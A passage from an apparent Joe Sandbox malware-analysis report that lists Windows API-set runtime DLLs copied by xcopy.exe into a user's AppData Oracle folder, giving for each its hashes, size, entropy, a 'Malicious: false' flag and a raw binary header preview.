SHA-256: 9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D

SHA-512: D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4
EF

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!..
....................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... .
.`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rda
ta..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{.....
..........B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-processthreads-l1-1-1.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.1156948849491055

Encrypted: false

SSDEEP: 384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep

MD5: D0289835D97D103BAD0DD7B9637538A1

SHA1: 8CEEBE1E9ABB0044808122557DE8AAB28AD14575

SHA-256: 91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A

SHA-512: 97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAF
D

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!..
....................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rda
ta..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3.
..r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-profile-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 17712

Entropy (8bit): 7.187691342157284

Encrypted: false

Copyright Joe Security LLC 2021 Page 33 of 577



SSDEEP: 192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv

MD5: FEE0926AA1BF00F2BEC9DA5DB7B2DE56

SHA1: F5A4EB3D8AC8FB68AF716857629A43CD6BE63473

SHA-256: 8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C

SHA-512: 0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C
3

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!...
...................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..
`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T.......
.rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounte
r.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-profile-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-rtlsupport-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 17720

Entropy (8bit): 7.19694878324007

Encrypted: false

SSDEEP: 384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y

MD5: FDBA0DB0A1652D86CD471EAA509E56EA

SHA1: 3197CB45787D47BAC80223E3E98851E48A122EFA

SHA-256: 2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57

SHA-512: E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!..
....................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........r
data$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureCont
ext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-string-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.137724132900032

Encrypted: false

SSDEEP: 384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn

MD5: 12CC7D8017023EF04EBDD28EF9558305

SHA1: F859A66009D1CAAE88BF36B569B63E1FBDAE9493

SHA-256: 7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311

SHA-512: F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C6468389
29

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R.....
.......!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text.......................
........ ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T...
.....rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-
string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-synch-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20280

Entropy (8bit): 7.04640581473745

Encrypted: false

SSDEEP: 384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex

MD5: 71AF7ED2A72267AAAD8564524903CFF6

SHA1: 8A8437123DE5A22AB843ADC24A01AC06F48DB0D3

SHA-256: 5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F

SHA-512: 7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA38
75

Malicious: false
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!..
....................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... .
.`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T.....
...rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...
............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-synch-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-synch-l1-2-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.138910839042951

Encrypted: false

SSDEEP: 384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53

MD5: 0D1AA99ED8069BA73CFD74B0FDDC7B3A

SHA1: BA1F5384072DF8AF5743F81FD02C98773B5ED147

SHA-256: 30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1

SHA-512: 6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2B
F9

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...X*uY....
.......!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v...................
........ ..`.rsrc........ ......................@..@....X*uY........9...T...T.......X*uY........d...............X*uY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rda
ta..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w.......
........;...|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-sysinfo-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19248

Entropy (8bit): 7.072555805949365

Encrypted: false

SSDEEP: 384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8

MD5: 19A40AF040BD7ADD901AA967600259D9

SHA1: 05B6322979B0B67526AE5CD6E820596CBE7393E4

SHA-256: 4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92

SHA-512: 5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=....
.......!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E...................
........ ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....r
data..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...
V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-timezone-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18224

Entropy (8bit): 7.17450177544266

Encrypted: false

SSDEEP: 384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu

MD5: BABF80608FD68A09656871EC8597296C

SHA1: 33952578924B0376CA4AE6A10B8D4ED749D10688

SHA-256: 24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA

SHA-512: 3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x....
.......!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text.......................
........ ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rd
ata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-
ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-util-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe
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File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18232

Entropy (8bit): 7.1007227686954275

Encrypted: false

SSDEEP: 192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552

MD5: 0F079489ABD2B16751CEB7447512A70D

SHA1: 679DD712ED1C46FBD9BC8615598DA585D94D5D87

SHA-256: F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86

SHA-512: 92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!..
....................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... .
.`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........r
data$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep
.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-core-util-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-conio-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19256

Entropy (8bit): 7.088693688879585

Encrypted: false

SSDEEP: 384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV

MD5: 6EA692F862BDEB446E649E4B2893E36F

SHA1: 84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD

SHA-256: 9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2

SHA-512: 9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!...
...................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..
`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........
rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............
t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-convert-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 22328

Entropy (8bit): 6.929204936143068

Encrypted: false

SSDEEP: 384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp

MD5: 72E28C902CD947F9A3425B19AC5A64BD

SHA1: 9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7

SHA-256: 3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1

SHA-512: 58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE.....
.......!.........................0...............................@............@..........................................0..................8=..............T............................................................................text.......................
........ ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb....
.......d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k....................
...........*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-environment-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18736

Entropy (8bit): 7.078409479204304

Encrypted: false

SSDEEP: 192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2

MD5: AC290DAD7CB4CA2D93516580452EDA1C

SHA1: FA949453557D0049D723F9615E4F390010520EDA

SHA-256: C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
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SHA-512: B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F
8

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!..
....................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... .
.`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb.......
....d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.
......................)...F...a...........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-environment-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-filesystem-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20280

Entropy (8bit): 7.085387497246545

Encrypted: false

SSDEEP: 384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/

MD5: AEC2268601470050E62CB8066DD41A59

SHA1: 363ED259905442C4E3B89901BFD8A43B96BF25E4

SHA-256: 7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2

SHA-512: 0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!..
....................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....r
data..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o.....
......................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-heap-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19256

Entropy (8bit): 7.060393359865728

Encrypted: false

SSDEEP: 192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s

MD5: 93D3DA06BF894F4FA21007BEE06B5E7D

SHA1: 1E47230A7EBCFAF643087A1929A385E0D554AD15

SHA-256: F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D

SHA-512: 72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25
C6

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ....
.......!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text.......................
........ ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....
rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c......................
.....U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-locale-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.13172731865352

Encrypted: false

SSDEEP: 192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0

MD5: A2F2258C32E3BA9ABF9E9E38EF7DA8C9

SHA1: 116846CA871114B7C54148AB2D968F364DA6142F

SHA-256: 565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33

SHA-512: E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953F
E

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...|..O....
.......!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u...................
........ ..`.rsrc........ ......................@..@v...................|..O........9...d...d.......|..O........d...............|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d
....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................|..O....................8...........5...h...............E...................$...N...t...................$...D...b
...!...R............... ...s...................:...k.......................9...X...................
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C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-math-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 28984

Entropy (8bit): 6.6686462438397

Encrypted: false

SSDEEP: 384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp

MD5: 8B0BA750E7B15300482CE6C961A932F0

SHA1: 71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19

SHA-256: BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED

SHA-512: FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!..
.......................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,..................
........ ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....r
data..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ 
..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-multibyte-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 26424

Entropy (8bit): 6.712286643697659

Encrypted: false

SSDEEP: 384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V

MD5: 35FC66BD813D0F126883E695664E7B83

SHA1: 2FD63C18CC5DC4DEFC7EA82F421050E668F68548

SHA-256: 66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735

SHA-512: 65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB88143
1

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!..
...$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$..........
........ ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.
........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q...
....................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-private-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 73016

Entropy (8bit): 5.838702055399663

Encrypted: false

SSDEEP: 1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj

MD5: 9910A1BFDC41C5B39F6AF37F0A22AACD

SHA1: 47FA76778556F34A5E7910C816C78835109E4050

SHA-256: 65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9

SHA-512: A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1....
.......!................................................................R.....@.............................................................8=..............T............................................................................text.......................
........ ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........
d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A..
.A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-process-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19256

Entropy (8bit): 7.076072254895036

Encrypted: false

SSDEEP: 192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU

MD5: 8D02DD4C29BD490E672D271700511371
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SHA1: F3035A756E2E963764912C6B432E74615AE07011

SHA-256: C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B

SHA-512: D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!..
....................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... .
.`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..
d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<.
